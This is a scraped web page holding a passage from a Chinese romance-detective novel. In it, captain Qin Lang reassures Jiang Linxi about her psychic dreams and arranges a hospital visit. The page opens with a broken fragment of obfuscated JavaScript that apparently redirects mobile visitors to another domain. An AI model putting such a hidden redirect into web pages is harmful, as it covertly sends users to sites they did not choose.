l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543540|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦朗安静地听她说完,脸上没有丝毫的不耐烦。
“不用怀疑自己。”
随着秦朗的这句话,江林夕浑身一震,抬起头,有些茫然的看着他。
“你还记得你之前是怎么描述马晓晓最后的感受吗?”秦朗引导着她回忆之前的沟通对话:“你说的是,眼前一黑就失去了意识。从头到尾都没有说过经历了她的死亡,你的感知都是正确的。”
“而且,”秦朗顿了顿:“你还记得,你之前和我提过,感觉自己做的梦在慢慢的变化。从一开始只能感知模糊片段,到现在能捕捉更清晰的梦中细节,甚至可以感受受害者的情绪心理。”
“或许,你的能力是在升级。”他最后露出微笑,眨了眨眼,语气温和的说道:“它或许比我们想象的要更复杂,但是目前来看,信任它,还是一个不错的选择。”
江林夕怔怔地看着秦朗,觉得胸腔里那股酸涩感,被另一种更复杂的情绪覆盖,描述不出。但是,她很高兴……
她深吸一口气,眼神坚定:“我明白了。”接着弯了弯嘴角,调皮的问道:“超专业的心理医生秦大队长~”
秦朗看着她恢复了精神,眼底泛起笑意,他从善如流的接上江林夕的话茬:“秦大队长的心理咨询时间结束,记得回头把费用给我结一下。”
江林夕摸了摸自己的口袋,眨巴眨巴眼,一脸无辜的看着秦朗:“秦队,我的钱在请你吃馄饨的时候都花光了,所以……”
秦朗挑了挑眉,配合地露出一个“真拿你没办法”的表情:“行吧,记账。”
江林夕“嘻嘻”一笑,然后回归正题:“秦队,我等会做什么?”
秦朗下意识地抬起左手,看了一眼手表时间:“现在医院探视时间已经关门了,明天你和我一起去康宁医院一趟,看一下马晓晓,能不能问出点什么。所以,现在你要做的是早点回去休息,养足精神,明天可是个硬仗。”
听完,江林夕认真的点点头:“我明白了。”
“明天早上九点见,还是老规矩,我到你家楼下接你。”秦朗神色自然的接了一句,仿佛在说一件天经地义的事情:“这次记得在家里等我电话。”
等等?老规矩?
她忽然想起之前超市采购那次,他确实说过下次在家等我这样的话。本来以为只是客套话,怎么现在变成了老规矩?总觉得哪里不太对劲。
江林夕不敢深想下去,下意识地逃避:“……”
秦朗看她的样子,心里了然,也不给她反驳的机会:“明天见,等会我还有个会,先走了。”然后直接转身离开。
江林夕一脸呆滞的僵在原地,看着他那干脆利落、毫无留恋的背影,张了张嘴,却不知道说些什么。
喂,你走的也太快了吧,回答的机会都不留给自己吗?
带着这股说不清道不明的想法,江林夕步履阑珊的离开了市局。